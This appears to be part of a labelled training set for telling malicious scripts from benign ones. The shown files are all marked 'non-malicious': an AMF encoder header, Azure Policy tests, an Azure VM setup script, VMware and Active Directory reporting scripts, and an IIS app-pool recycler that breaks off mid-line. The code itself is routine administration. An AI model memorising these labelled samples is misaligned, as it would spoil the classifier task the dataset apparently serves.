AMF_ACCEL_GPU #define AMF_VIDEO_ENCODER_HEVC_CAP_PRE_ANALYSIS L"HevcPreAnalysis" // amf_bool - pre analysis module is available for HEVC UVE encoder, n/a for the other encoders #define AMF_VIDEO_ENCODER_HEVC_CAP_ROI L"HevcROIMap" // amf_bool - ROI map support is available for HEVC UVE encoder, n/a for the other encoders #define AMF_VIDEO_ENCODER_HEVC_CAP_MAX_THROUGHPUT L"HevcMaxThroughput" // amf_int64 - MAX throughput for HEVC encoder in MB (16 x 16 pixel) #define AMF_VIDEO_ENCODER_HEVC_CAP_REQUESTED_THROUGHPUT L"HevcRequestedThroughput" // amf_int64 - Currently total requested throughput for HEVC encode in MB (16 x 16 pixel) #define AMF_VIDEO_ENCODER_HEVC_CAP_QUERY_TIMEOUT_SUPPORT L"HevcQueryTimeoutSupport" // amf_bool - Timeout supported for QueryOutout call #define AMF_VIDEO_ENCODER_CAPS_HEVC_QUERY_TIMEOUT_SUPPORT L"HevcQueryTimeoutSupport" // amf_bool - Timeout supported for QueryOutout call (Deprecated, please use AMF_VIDEO_ENCODER_HEVC_CAP_QUERY_TIMEOUT_SUPPORT instead) #define AMF_VIDEO_ENCODER_HEVC_CAP_SUPPORT_SLICE_OUTPUT L"HevcSupportSliceOutput" // amf_bool - if slice output is supported #define AMF_VIDEO_ENCODER_HEVC_CAP_SUPPORT_SMART_ACCESS_VIDEO L"HevcEncoderSupportSmartAccessVideo" // amf_bool; returns true if system supports SmartAccess Video #endif //#ifndef AMF_VideoEncoderHEVC_h
combined_dataset/train/non-malicious/3526.ps1
3526.ps1
function Remediation-SubscriptionScope-Crud { $assignmentId = Get-TestRemediationSubscriptionPolicyAssignmentId $remediationName = "PSTestRemediation" $remediation = Start-AzPolicyRemediation -PolicyAssignmentId $assignmentId -Name $remediationName -LocationFilter "westus2","west central us" Validate-Remediation $remediation Assert-AreEqual $assignmentId $remediation.PolicyAssignmentId Assert-Null $remediation.PolicyDefinitionReferenceId Assert-AreEqual "Accepted" $remediation.ProvisioningState Assert-AreEqual 2 $remediation.Filters.Locations.Count Assert-AreEqualArray $remediation.Filters.Locations @("westus2", "westcentralus") Assert-AreEqual 3 $remediation.DeploymentSummary.TotalDeployments $job = ($remediation | Stop-AzPolicyRemediation -AsJob) $job | Wait-Job $remediation = Get-AzPolicyRemediation -Name $remediationName Validate-Remediation $remediation Assert-AreEqual $remediationName $remediation.Name Assert-AreEqual $assignmentId $remediation.PolicyAssignmentId Assert-AreEqual "Canceled" $remediation.ProvisioningState Assert-AreEqual 2 $remediation.Filters.Locations.Count Assert-AreEqualArray $remediation.Filters.Locations @("westus2", "westcentralus") Assert-AreEqual 3 $remediation.DeploymentSummary.TotalDeployments Assert-AreEqual 0 $remediation.DeploymentSummary.FailedDeployments $remediation = Get-AzPolicyRemediation -Name $remediationName -IncludeDetail Assert-AreEqual 3 $remediation.Deployments.Count $remediation.Deployments | ForEach-Object { Validate-RemediationDeployment $_ Assert-AreEqual "Canceled" $_.Status } $remediation = Get-AzPolicyRemediation -Name $remediationName -IncludeDetail -Top 2 Assert-AreEqual 2 $remediation.Deployments.Count $remediation.Deployments | ForEach-Object { Validate-RemediationDeployment $_ Assert-AreEqual "Canceled" $_.Status } $remediations = Get-AzPolicyRemediation Assert-AreEqual 72 $remediations.Count Validate-Remediation $remediations[10] $remediations = Get-AzPolicyRemediation -Top 5 Assert-AreEqual 5 $remediations.Count Validate-Remediation $remediations[0] $remediations = Get-AzPolicyRemediation -Filter "PolicyAssignmentId eq '$assignmentId'" Assert-AreEqual 2 $remediations.Count $remediations | ForEach-Object { Validate-Remediation $_ Assert-AreEqual $assignmentId $_.PolicyAssignmentId } $result = ($remediation | Remove-AzPolicyRemediation -PassThru) Assert-AreEqual $true $result } function Remediation-ResourceGroupScope-Crud { $assignmentId = Get-TestRemediationSubscriptionPolicyAssignmentId $remediationName = "PSTestRemediation" $resourceGroupName = "elpere" $remediation = Start-AzPolicyRemediation -ResourceGroupName $resourceGroupName -PolicyAssignmentId $assignmentId -Name $remediationName Validate-Remediation $remediation Assert-AreEqual $assignmentId $remediation.PolicyAssignmentId Assert-Null $remediation.PolicyDefinitionReferenceId Assert-AreEqual "Accepted" $remediation.ProvisioningState Assert-Null $remediation.Filters Assert-AreEqual 5 $remediation.DeploymentSummary.TotalDeployments Stop-AzPolicyRemediation -ResourceId $remediation.Id $remediation = Get-AzPolicyRemediation -ResourceGroupName $resourceGroupName -Name $remediationName Validate-Remediation $remediation Assert-AreEqual $remediationName $remediation.Name Assert-AreEqual $assignmentId $remediation.PolicyAssignmentId Assert-AreEqual "Canceled" $remediation.ProvisioningState Assert-Null $remediation.Filters Assert-AreEqual 5 $remediation.DeploymentSummary.TotalDeployments Assert-AreEqual 0 $remediation.DeploymentSummary.FailedDeployments $remediation = Get-AzPolicyRemediation -ResourceGroupName $resourceGroupName -Name $remediationName -IncludeDetail Assert-AreEqual 5 $remediation.Deployments.Count $remediation.Deployments | ForEach-Object { Validate-RemediationDeployment $_ Assert-AreEqual "Canceled" $_.Status } $remediation = Get-AzPolicyRemediation -ResourceGroupName $resourceGroupName -Name $remediationName -IncludeDetail -Top 2 Assert-AreEqual 2 $remediation.Deployments.Count $remediation.Deployments | ForEach-Object { Validate-RemediationDeployment $_ Assert-AreEqual "Canceled" $_.Status } $remediations = Get-AzPolicyRemediation -ResourceGroupName $resourceGroupName Assert-AreEqual 11 $remediations.Count Validate-Remediation $remediations[5] $remediations = Get-AzPolicyRemediation -ResourceGroupName $resourceGroupName -Top 5 Assert-AreEqual 5 $remediations.Count Validate-Remediation $remediations[0] $remediations = Get-AzPolicyRemediation -ResourceGroupName $resourceGroupName -Filter "PolicyAssignmentId eq '$assignmentId'" Assert-AreEqual 1 $remediations.Count $remediations | ForEach-Object { Validate-Remediation $_ Assert-AreEqual $assignmentId $_.PolicyAssignmentId } $result = (Remove-AzPolicyRemediation -ResourceGroupName $resourceGroupName -Name $remediationName -PassThru) Assert-AreEqual $true $result } function Remediation-ResourceScope-Crud { $assignmentId = Get-TestRemediationSubscriptionPolicyAssignmentId $remediationName = "PSTestRemediation" $scope = "/subscriptions/d0610b27-9663-4c05-89f8-5b4be01e86a5/resourceGroups/elpere/providers/Microsoft.KeyVault/vaults/elpereKv" $remediation = Start-AzPolicyRemediation -Scope $scope -PolicyAssignmentId $assignmentId -Name $remediationName Validate-Remediation $remediation Assert-AreEqual $assignmentId $remediation.PolicyAssignmentId Assert-Null $remediation.PolicyDefinitionReferenceId Assert-AreEqual "Accepted" $remediation.ProvisioningState Assert-Null $remediation.Filters Assert-AreEqual 1 $remediation.DeploymentSummary.TotalDeployments $job = Stop-AzPolicyRemediation -Scope $scope -Name $remediationName -AsJob $job | Wait-Job $remediation = Get-AzPolicyRemediation -Scope $scope -Name $remediationName Validate-Remediation $remediation Assert-AreEqual $remediationName $remediation.Name Assert-AreEqual $assignmentId $remediation.PolicyAssignmentId Assert-AreEqual "Canceled" $remediation.ProvisioningState Assert-Null $remediation.Filters Assert-AreEqual 1 $remediation.DeploymentSummary.TotalDeployments Assert-AreEqual 0 $remediation.DeploymentSummary.FailedDeployments $remediation = Get-AzPolicyRemediation -Scope $scope -Name $remediationName -IncludeDetail Assert-AreEqual 1 $remediation.Deployments.Count $remediation.Deployments | ForEach-Object { Validate-RemediationDeployment $_ Assert-AreEqual "Canceled" $_.Status } $remediation = Get-AzPolicyRemediation -Scope $scope -Name $remediationName -IncludeDetail -Top 2 Assert-AreEqual 1 $remediation.Deployments.Count $remediation.Deployments | ForEach-Object { Validate-RemediationDeployment $_ Assert-AreEqual "Canceled" $_.Status } $remediations = Get-AzPolicyRemediation -Scope $scope Assert-AreEqual 1 $remediations.Count Validate-Remediation $remediations[0] $remediations = Get-AzPolicyRemediation -Scope $scope -Filter "PolicyAssignmentId eq '$assignmentId'" Assert-AreEqual 1 $remediations.Count $remediations | ForEach-Object { Validate-Remediation $_ Assert-AreEqual $assignmentId $_.PolicyAssignmentId } $result = (Remove-AzPolicyRemediation -Scope $scope -Name $remediationName -PassThru) Assert-AreEqual $true $result } function Remediation-ManagementGroupScope-Crud { $assignmentId = Get-TestRemediationMgPolicyAssignmentId $remediationName = "PSTestRemediation" $managementGroupId = "PolicyUIMG" $remediation = Start-AzPolicyRemediation -ManagementGroupName $managementGroupId -PolicyAssignmentId $assignmentId -Name $remediationName Validate-Remediation $remediation Assert-AreEqual $assignmentId $remediation.PolicyAssignmentId Assert-Null $remediation.PolicyDefinitionReferenceId Assert-AreEqual "Accepted" $remediation.ProvisioningState Assert-Null $remediation.Filters Assert-AreEqual 1 $remediation.DeploymentSummary.TotalDeployments Stop-AzPolicyRemediation -ManagementGroupName $managementGroupId -Name $remediationName $remediation = Get-AzPolicyRemediation -ManagementGroupName $managementGroupId -Name $remediationName Validate-Remediation $remediation Assert-AreEqual $remediationName $remediation.Name Assert-AreEqual $assignmentId $remediation.PolicyAssignmentId Assert-AreEqual "Canceled" $remediation.ProvisioningState Assert-Null $remediation.Filters Assert-AreEqual 1 $remediation.DeploymentSummary.TotalDeployments Assert-AreEqual 0 $remediation.DeploymentSummary.FailedDeployments $remediation = Get-AzPolicyRemediation -ManagementGroupName $managementGroupId -Name $remediationName -IncludeDetail Assert-AreEqual 1 $remediation.Deployments.Count $remediation.Deployments | ForEach-Object { Validate-RemediationDeployment $_ Assert-AreEqual "Canceled" $_.Status } $remediation = Get-AzPolicyRemediation -ManagementGroupName $managementGroupId -Name $remediationName -IncludeDetail -Top 2 Assert-AreEqual 1 $remediation.Deployments.Count $remediation.Deployments | ForEach-Object { Validate-RemediationDeployment $_ Assert-AreEqual "Canceled" $_.Status } $remediations = Get-AzPolicyRemediation -ManagementGroupName $managementGroupId Assert-AreEqual 3 $remediations.Count Validate-Remediation $remediations[2] $remediations = Get-AzPolicyRemediation -Top 2 Assert-AreEqual 2 $remediations.Count Validate-Remediation $remediations[1] $remediations = Get-AzPolicyRemediation -ManagementGroupName $managementGroupId -Filter "PolicyAssignmentId eq '$assignmentId'" Assert-AreEqual 1 $remediations.Count $remediations | ForEach-Object { Validate-Remediation $_ Assert-AreEqual $assignmentId $_.PolicyAssignmentId } $result = (Remove-AzPolicyRemediation -ResourceId $remediation.Id -PassThru) Assert-AreEqual $true $result } function Remediation-BackgroundJobs { $assignmentId = Get-TestRemediationSubscriptionPolicyAssignmentId $remediationName = "PSTestRemediation" $job = Start-AzPolicyRemediation -PolicyAssignmentId $assignmentId -Name $remediationName -LocationFilter "eastus2" -AsJob $job | Wait-Job Assert-AreEqual "Completed" $job.State $remediation = $job | Receive-Job Validate-Remediation $remediation Assert-AreEqual $assignmentId $remediation.PolicyAssignmentId Assert-Null $remediation.PolicyDefinitionReferenceId Assert-AreEqual "Succeeded" $remediation.ProvisioningState Assert-AreEqual 1 $remediation.Filters.Locations.Count Assert-AreEqualArray $remediation.Filters.Locations @("eastus2") Assert-AreEqual 1 $remediation.DeploymentSummary.TotalDeployments Assert-AreEqual 1 $remediation.DeploymentSummary.SuccessfulDeployments Assert-AreEqual 0 $remediation.DeploymentSummary.FailedDeployments $remediation = Start-AzPolicyRemediation -PolicyAssignmentId $assignmentId -Name $remediationName -LocationFilter "eastus2" $job = ($remediation | Remove-AzPolicyRemediation -AllowStop -PassThru -AsJob) $job | Wait-Job Assert-AreEqual "Completed" $job.State $result = $job | Receive-Job Assert-AreEqual $true $result }
combined_dataset/train/non-malicious/919.ps1
919.ps1
$resourceGroup = "myResourceGroup" $location = "westeurope" $vmName = "myVM" $securePassword = ConvertTo-SecureString ' ' -AsPlainText -Force $cred = New-Object System.Management.Automation.PSCredential ("azureuser", $securePassword) New-AzResourceGroup -Name $resourceGroup -Location $location $subnetConfig = New-AzVirtualNetworkSubnetConfig -Name mySubnet -AddressPrefix 192.168.1.0/24 $vnet = New-AzVirtualNetwork -ResourceGroupName $resourceGroup -Location $location ` -Name MYvNET -AddressPrefix 192.168.0.0/16 -Subnet $subnetConfig $pip = New-AzPublicIpAddress -ResourceGroupName $resourceGroup -Location $location ` -Name "mypublicdns$(Get-Random)" -AllocationMethod Static -IdleTimeoutInMinutes 4 $nsgRuleSSH = New-AzNetworkSecurityRuleConfig -Name myNetworkSecurityGroupRuleSSH -Protocol Tcp ` -Direction Inbound -Priority 1000 -SourceAddressPrefix * -SourcePortRange * -DestinationAddressPrefix * ` -DestinationPortRange 22 -Access Allow $nsgRuleHTTP = New-AzNetworkSecurityRuleConfig -Name myNetworkSecurityGroupRuleHTTP -Protocol Tcp ` -Direction Inbound -Priority 2000 -SourceAddressPrefix * -SourcePortRange * -DestinationAddressPrefix * ` -DestinationPortRange 80 -Access Allow $nsg = New-AzNetworkSecurityGroup -ResourceGroupName $resourceGroup -Location $location ` -Name myNetworkSecurityGroup -SecurityRules $nsgRuleSSH,$nsgRuleHTTP $nic = New-AzNetworkInterface -Name myNic -ResourceGroupName $resourceGroup -Location $location ` -SubnetId $vnet.Subnets[0].Id -PublicIpAddressId $pip.Id -NetworkSecurityGroupId $nsg.Id $vmConfig = New-AzVMConfig -VMName $vmName -VMSize Standard_D1 | ` Set-AzVMOperatingSystem -Linux -ComputerName $vmName -Credential $cred -DisablePasswordAuthentication | ` Set-AzVMSourceImage -PublisherName Canonical -Offer UbuntuServer -Skus 14.04.2-LTS -Version latest | ` Add-AzVMNetworkInterface -Id $nic.Id $sshPublicKey = Get-Content "$env:USERPROFILE\.ssh\id_rsa.pub" Add-AzVMSshPublicKey -VM $vmConfig -KeyData $sshPublicKey -Path "/home/azureuser/.ssh/authorized_keys" New-AzVM -ResourceGroupName $resourceGroup -Location $location -VM $vmConfig $PublicSettings = '{"commandToExecute":"apt-get -y update && apt-get -y install nginx"}' Set-AzVMExtension -ExtensionName "NGINX" -ResourceGroupName $resourceGroup -VMName $vmName ` -Publisher "Microsoft.Azure.Extensions" -ExtensionType "CustomScript" -TypeHandlerVersion 2.0 ` -SettingString $PublicSettings -Location $location
combined_dataset/train/non-malicious/SVMotion-VM.ps1
SVMotion-VM.ps1
# author: Hal Rottenberg # Website/OpenID: http://halr9000.com # purpose: does "real" SVMotion of a VM # usage: get-vm | SVMotion-VM -destination (get-datastore foo) function SVMotion-VM { param( [VMware.VimAutomation.Client20.DatastoreImpl] $destination ) Begin { $datastoreView = get-view $destination $relocationSpec = new-object VMware.Vim.VirtualMachineRelocateSpec $relocationSpec.Datastore = $datastoreView.MoRef } Process { if ( $_ -isnot VMware.VimAutomation.Client20.VirtualMachineImpl ) { Write-Error "Expected VMware object on pipeline. skipping $_" continue } $vmView = Get-View $_ $vmView.RelocateVM_Task($relocationSpec) } }
combined_dataset/train/non-malicious/Get-ADGroupModifications_1.ps1
Get-ADGroupModifications_1.ps1
###########################################################################" # # NAME: Get-ADGroupModificationsReport.ps1 # # AUTHOR: Jan Egil Ring # EMAIL: jan.egil.ring@powershell.no # # COMMENT: Generates a HTML-report of Active Directory group membership modifications (addings and deletions). # Specify a valid path on line 211 to store the report. # For more details, see the following blog-post: # http://blog.powershell.no/2009/10/11/active-directory-group-membership-modifications-report # # You have a royalty-free right to use, modify, reproduce, and # distribute this script file in any way you find useful, provided that # you agree that the creator, owner above has no warranty, obligations, # or liability for such use. # # VERSION HISTORY: # 1.0 11.10.2009 - Initial release # 1.1 29.04.2010 - Enhanced the script performance by storing each domain controllers security eventlog in a variable # ###########################################################################" #Requires -Version 2.0 function Get-CustomHTML ($Header){ $Report = @" <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http`://www.w3.org/TR/html4/frameset.dtd"> <html><head><title>$($Header)</title> <META http-equiv=Content-Type content='text/html; charset=windows-1252'> <meta name="save" content="history"> <style type="text/css"> DIV .expando {DISPLAY: block; FONT-WEIGHT: normal; FONT-SIZE: 10pt; RIGHT: 8px; COLOR: #ffffff; FONT-FAMILY: Tahoma; POSITION: absolute; TEXT-DECORATION: underline} TABLE {TABLE-LAYOUT: fixed; FONT-SIZE: 100%; WIDTH: 100%} *{margin:0} .dspcont { BORDER-RIGHT: #bbbbbb 1px solid; BORDER-TOP: #bbbbbb 1px solid; PADDING-LEFT: 16px; FONT-SIZE: 8pt;MARGIN-BOTTOM: -1px; PADDING-BOTTOM: 5px; MARGIN-LEFT: 0px; BORDER-LEFT: #bbbbbb 1px solid; WIDTH: 95%; COLOR: #000000; MARGIN-RIGHT: 0px; PADDING-TOP: 4px; BORDER-BOTTOM: #bbbbbb 1px solid; FONT-FAMILY: Tahoma; POSITION: relative; BACKGROUND-COLOR: #f9f9f9} .filler {BORDER-RIGHT: medium none; BORDER-TOP: medium none; DISPLAY: block; BACKGROUND: none transparent scroll repeat 0% 0%; MARGIN-BOTTOM: -1px; FONT: 100%/8px Tahoma; MARGIN-LEFT: 43px; BORDER-LEFT: medium none; COLOR: #ffffff; MARGIN-RIGHT: 0px; PADDING-TOP: 4px; BORDER-BOTTOM: medium none; POSITION: relative} .save{behavior:url(#default#savehistory);} .dspcont1{ display:none} a.dsphead0 {BORDER-RIGHT: #bbbbbb 1px solid; PADDING-RIGHT: 5em; BORDER-TOP: #bbbbbb 1px solid; DISPLAY: block; PADDING-LEFT: 5px; FONT-WEIGHT: bold; FONT-SIZE: 8pt; MARGIN-BOTTOM: -1px; MARGIN-LEFT: 0px; BORDER-LEFT: #bbbbbb 1px solid; CURSOR: hand; COLOR: #FFFFFF; MARGIN-RIGHT: 0px; PADDING-TOP: 4px; BORDER-BOTTOM: #bbbbbb 1px solid; FONT-FAMILY: Tahoma; POSITION: relative; HEIGHT: 2.25em; WIDTH: 95%; BACKGROUND-COLOR: #cc0000} a.dsphead1 {BORDER-RIGHT: #bbbbbb 1px solid; PADDING-RIGHT: 5em; BORDER-TOP: #bbbbbb 1px solid; DISPLAY: block; PADDING-LEFT: 5px; FONT-WEIGHT: bold; FONT-SIZE: 8pt; MARGIN-BOTTOM: -1px; MARGIN-LEFT: 0px; BORDER-LEFT: #bbbbbb 1px solid; CURSOR: hand; COLOR: #ffffff; MARGIN-RIGHT: 0px; PADDING-TOP: 4px; BORDER-BOTTOM: #bbbbbb 1px solid; FONT-FAMILY: Tahoma; POSITION: relative; HEIGHT: 2.25em; WIDTH: 95%; BACKGROUND-COLOR: #7BA7C7} a.dsphead2 {BORDER-RIGHT: #bbbbbb 1px solid; PADDING-RIGHT: 5em; BORDER-TOP: #bbbbbb 1px solid; DISPLAY: block; PADDING-LEFT: 5px; FONT-WEIGHT: bold; FONT-SIZE: 8pt; MARGIN-BOTTOM: -1px; MARGIN-LEFT: 0px; BORDER-LEFT: #bbbbbb 1px solid; CURSOR: hand; COLOR: #ffffff; MARGIN-RIGHT: 0px; PADDING-TOP: 4px; BORDER-BOTTOM: #bbbbbb 1px solid; FONT-FAMILY: Tahoma; POSITION: relative; HEIGHT: 2.25em; WIDTH: 95%; BACKGROUND-COLOR: #A5A5A5} a.dsphead1 span.dspchar{font-family:monospace;font-weight:normal;} td {VERTICAL-ALIGN: TOP; FONT-FAMILY: Tahoma} th {VERTICAL-ALIGN: TOP; COLOR: #cc0000; TEXT-ALIGN: left} BODY {margin-left: 4pt} BODY {margin-right: 4pt} BODY {margin-top: 6pt} </style> </head> <body> <b><font face="Arial" size="5">$($Header)</font></b><hr size="8" color="#cc0000"> <font face="Arial" size="1"><b>Generated on $($ENV:Computername)</b></font><br> <font face="Arial" size="1">Report created on $(Get-Date)</font> <div class="filler"></div> <div class="filler"></div> <div class="filler"></div> <div class="save"> "@ return $Report } function Get-CustomHeader0 ($Title){ $Report = @" <h1><a class="dsphead0">$($Title)</a></h1> <div class="filler"></div> "@ return $Report } function Get-CustomHeader ($Num, $Title){ $Report = @" <h2><a class="dsphead$($Num)"> $($Title)</a></h2> <div class="dspcont"> "@ return $Report } function Get-CustomHeaderClose{ $Report = @" </DIV> <div class="filler"></div> "@ return $Report } function Get-CustomHeader0Close{ $Report = @" </DIV> "@ return $Report } function Get-CustomHTMLClose{ $Report = @" </div> </body> </html> "@ return $Report } function Get-HTMLTable { param([array]$Content) $HTMLTable = $Content | ConvertTo-Html $HTMLTable = $HTMLTable -replace "<!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Strict//EN"" ""http`://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"">", "" $HTMLTable = $HTMLTable -replace "<!DOCTYPE HTML PUBLIC ""-//W3C//DTD HTML 4.01//EN"" ""http`://www.w3.org/TR/html4/strict.dtd"">", "" $HTMLTable = $HTMLTable -replace "<html xmlns=""http`://www.w3.org/1999/xhtml"">", "" $HTMLTable = $HTMLTable -replace '<html>', "" $HTMLTable = $HTMLTable -replace '<head>', "" $HTMLTable = $HTMLTable -replace '<title>HTML TABLE</title>', "" $HTMLTable = $HTMLTable -replace '</head><body>', "" $HTMLTable = $HTMLTable -replace '</body></html>', "" return $HTMLTable } function Get-HTMLDetail ($Heading, $Detail){ $Report = @" <TABLE> <tr> <th width='25%'><b>$Heading</b></font></th> <td width='75%'>$($Detail)</td> </tr> </TABLE> "@ return $Report } #Initialize array for domain controllers in the current domain $domaincontrollers = @() #Get current domain $dom = [System.DirectoryServices.ActiveDirectory.Domain]::getcurrentdomain() #Get domain controllers in the current domain and add them to the $domain controllers array $dom.DomainControllers | select Name | ForEach-Object {$domaincontrollers += $_.name} $MyReport = Get-CustomHTML "Active Directory Group Modifications - Daily Report" $MyReport += Get-CustomHeader0 ("$domaincontroller") # ---- General Summary Info ---- $MyReport += Get-CustomHeader "1" "General Details" $MyReport += Get-HTMLDetail "Domain name:" $dom $MyReport += Get-HTMLDetail "Number of Domain Controllers:" $domaincontrollers.count $MyReport += Get-CustomHeaderClose foreach ($domaincontroller in $domaincontrollers){ $eventlog = Get-EventLog -LogName ‘Security’ -ComputerName $domaincontroller -After ((Get-Date).AddDays(-1)) # ---- Members added to Domain Local Groups ---- $MyReport += Get-CustomHeader "1" "Members added to Domain Local Groups on domaincontroller $domaincontroller" $MyReport += Get-HTMLTable ($eventlog | Where-Object {$_.EventID -eq "636" -or $_.EventID -eq "4732"} | select TimeGenerated,Message ) $MyReport += Get-CustomHeaderClose $MyReport += Get-CustomHeader0Close $MyReport += Get-CustomHTMLClose # ---- Members removed from Domain Local Groups ---- $MyReport += Get-CustomHeader "1" "Members removed from Domain Local Groups on domaincontroller $domaincontroller" $MyReport += Get-HTMLTable ($eventlog | Where-Object {$_.EventID -eq "637" -or $_.EventID -eq "4733"} | select TimeGenerated,Message ) $MyReport += Get-CustomHeaderClose $MyReport += Get-CustomHeader0Close $MyReport += Get-CustomHTMLClose # ---- Members added to Global Groups ---- $MyReport += Get-CustomHeader "1" "Members added to Global Groups on domaincontroller $domaincontroller" $MyReport += Get-HTMLTable ($eventlog | Where-Object {$_.EventID -eq "632" -or $_.EventID -eq "4728"} | select TimeGenerated,Message ) $MyReport += Get-CustomHeaderClose $MyReport += Get-CustomHeader0Close $MyReport += Get-CustomHTMLClose # ---- Members removed from Global Groups ---- $MyReport += Get-CustomHeader "1" "Members removed from Global Groups on domaincontroller $domaincontroller" $MyReport += Get-HTMLTable ($eventlog | Where-Object {$_.EventID -eq "633" -or $_.EventID -eq "4729"} | select TimeGenerated,Message ) $MyReport += Get-CustomHeaderClose $MyReport += Get-CustomHeader0Close $MyReport += Get-CustomHTMLClose # ---- Members added to Universal Groups ---- $MyReport += Get-CustomHeader "1" "Members added to Universal Groups on domaincontroller $domaincontroller" $MyReport += Get-HTMLTable ($eventlog | Where-Object {$_.EventID -eq "660" -or $_.EventID -eq "4756"} | select TimeGenerated,Message ) $MyReport += Get-CustomHeaderClose $MyReport += Get-CustomHeader0Close $MyReport += Get-CustomHTMLClose # ---- Members removed from Universal Groups ---- $MyReport += Get-CustomHeader "1" "Members removed from Universal Groups on domaincontroller $domaincontroller" $MyReport += Get-HTMLTable ($eventlog | Where-Object {$_.EventID -eq "661" -or $_.EventID -eq "4757"} | select TimeGenerated,Message ) $MyReport += Get-CustomHeaderClose $MyReport += Get-CustomHeader0Close $MyReport += Get-CustomHTMLClose } $Date = Get-Date $Filename = "C:\\Temp\\" + "DailyReport" + "_" + $Date.Day + "-" + $Date.Month + "-" + $Date.Year + ".htm" $MyReport | out-file -encoding ASCII -filepath $Filename
combined_dataset/train/non-malicious/2503.ps1
2503.ps1
function Send-Recycle{ param([string]$Server, [string]$Apppool, $Pools, [string]$Message, $PoolHash ) $email = "" if (($Apppool -eq $null) -or ($Apppool -eq "")){ $Server foreach ($Pool in $Pools){ if ($Pool -ne $null){ [string] $PName = $Pool Invoke-command -computername $Server -scriptblock {Param($PoolName) import-module webadministration;Restart-WebAppPool -name $PoolName} -argumentlist $PName if(-not $?) { Write-Host "There was a problem, could not recycle the apppool $Pool on $server!" }else{ Write-Host "The application Pool $Pool has recycled on $server." } if ($Message) { $email = "true" } } else{ Write-Host "No Application Pools listed" } } }else{ if ($Apppool -eq "All") { foreach ($key in $PoolHash.keys){ [string] $PName = $PoolHash[$key] if ($PName -ne "All") { Invoke-command -computername $Server -scriptblock {Param($PoolName) import-module webadministration;Restart-WebAppPool -name $PoolName} -argumentlist $PName if(-not $?) { Write-Host "There was a problem, could not recycle the apppool $PName on $server!" }else{ Write-Host "The application Pool $PName has recycled on $server." } if ($Message) { $email = "true" } } } } else { $poollist = $Apppool.Split(",") foreach ($poolname in $poollist){ Invoke-command -computername $Server -scriptblock {Param($PoolName) import-module webadministration;Restart-WebAppPool -name $PoolName} -argumentlist $poolname if(-not $?) { Write-Host "There was a problem, could not recycle the apppool $poolname on $server!" }else{ Write-Host "The application Pool $poolname has recycled on $server." } } if ($Message) { $email = "true" } } } if ($email){ Send-Email $Message $Server } } function Send-Email{ param([string]$Message, $Server) $emailFrom = "Ops@primealliancesolutions.com" $emailTo = "outage@primealliancesolutions.com" $subject = "Apppools on $Server recycled " $body = $Message $smtpServer = "outbound.smtp.dexma.com" $smtp = new-object Net.Mail.SmtpClient($smtpServer) $smtp.Send($emailFrom, $emailTo, $subject, $body) if(-not $?) { Write-Host "There was an error sending the Email!" } } function Get-Pools{ param([string] $Server,$lNotify, $PoolHash ) $hashCount = 1 write-host "Loading started Apppools..." $Pools=Invoke-command -computername $Server -scriptblock {import-module webadministration;$(get-item IIS:\apppools).children} foreach ($pool in $Pools) { $names = $pool.keys foreach ($name in $names){ $state = Invoke-command -computername $Server -scriptblock {Param($PoolName)import-module webadministration;$(Get-Item "IIS:\Apppools\$PoolName").state} -argumentlist $name if ($state -eq "started"){ $PoolHash["$hashCount"] = "$name" if ($lNotify -eq $true){ write-host "$hashCount : $name " } $hashCount = $hashCount + 1 } else { } } } $PoolHash["$hashCount"] = "ALL" if ($lNotify -eq $true){ write-host "$hashCount : All" $Id = read-host "Please Enter the number(s) of the app pool above you want to recycle, Please use a comma for multiple entries, (1,2,3...)" $List = $Id.Split(",") $nCount = 0 foreach ($idList in $List){ if ($nCount -eq 1){ $poolname = $poolname + "," + $PoolHash[$idList] }else { $poolname = $PoolHash[$idList] $nCount = 1 } } } else { [string] $shashCount = "$hashCount" $poolname = $PoolHash[$shashCount] } $poolname2 = $PoolHash["8"] return $poolname } function Print-Help{ write-host "`n`nUSEAGE:`n E:\DEXMA\SUPPORT\APPPOOLRESTART_WSS.PS1 [server/environment] [message](optional)" write-host "`n`n`nOPTIONS:`n`n [server] Name of the server your recycle if you want to recycle on one server only" write-host " [environment] Groups in the config file, 'STAGE', 'PROD','STAGE LS'... this will recycle every server in the apppoollist config files" write-host " [message] The message in the email that is sent to change control, if left blank the script will ask if you wish to send a message, if 'PLIST' a list of running app pools will be displayed for the user to select which pool to recycle" write-host "`n`n`nCONFIG FILES:`n`n [Config] e:\dexma\support\apppoolrestart.xml the one config file is used for all environments and app pools " write-host "`n `n `n-If no parameters are passed the script will prompt for all needed information. `n-If a message is sent, a seperate email is sent for each server recycled." write-host "-The script will recycle all app pools listed within the config file unless 'PLIST' is passed as the message, in which case the app pools will be listed" write-host "`n `nEXAMPLES: `n >E:\DEXMA\SUPPORT\APPPOOLRESTART_WSS.PS1 ""STAGE"" ""Recycling app pools due to migration""" write-host " >E:\DEXMA\SUPPORT\APPPOOLRESTART_WSS.PS1 ""STGWEBSVCXXX"" " write-host " >E:\DEXMA\SUPPORT\APPPOOLRESTART_WSS.PS1 ""PROD"" ""PLIST"" `n `n " } [string] $Env = $args[0] $Message = $args[1] $Pool = "" $lMessage = $false $PoolHash = @{} $ConfigFile = "e:\dexma\support\apppoolrestart.xml" $Pools = @() $NoConfig = "" [xml]$APR = Get-Content $ConfigFile IF (($Env -eq "/?") -or ($Env -eq "?") -or ($Env -eq "-help")){ Print-Help exit } $Env = $Env.ToUpper() if ($Message -eq "PLIST") { $NoConfig = "PLIST" $Message = "" $lMessage = $true } else { foreach ($poolname in $APR.{apppool.restart}.{App.Pools}.pools){ $Pools += $poolname } write-host "pools: $Pools" } if (($Message -eq $null) -or ($Message -eq "") ){ [string] $A = read-host "Do you want to send an email message? Yes (y), No (n) or any key." if (($A.ToUpper() -eq "Y") -or ($A.ToUpper() -eq "YES" )){ $Message = read-host "Enter Your Email Message Here" } } $lGroups = $false $Servers = @() foreach ($Group in $APR.{apppool.restart}.{Server.Groups}.Group){ [string]$Name = $Group.name $Name = $Name.ToUpper() if ($Name -eq $Env){ $lGroups = $true foreach ($Servernames in $Group.server){ $Servers += $Servernames } break } } if ($lGroups){ foreach ($Server in $Servers){ if ($NoConfig -eq "PLIST"){ if ($Pool -eq ""){ $Pool= Get-Pools $Server $lMessage $PoolHash } } Send-Recycle $Server $Pool $Pools $Message $PoolHash } } else { if (($Env -eq $null) -or ($Env -eq "")){ $Env= read-host "Please enter the name of the server" } if ($NoConfig -eq "PLIST"){ $Pool= Get-Pools 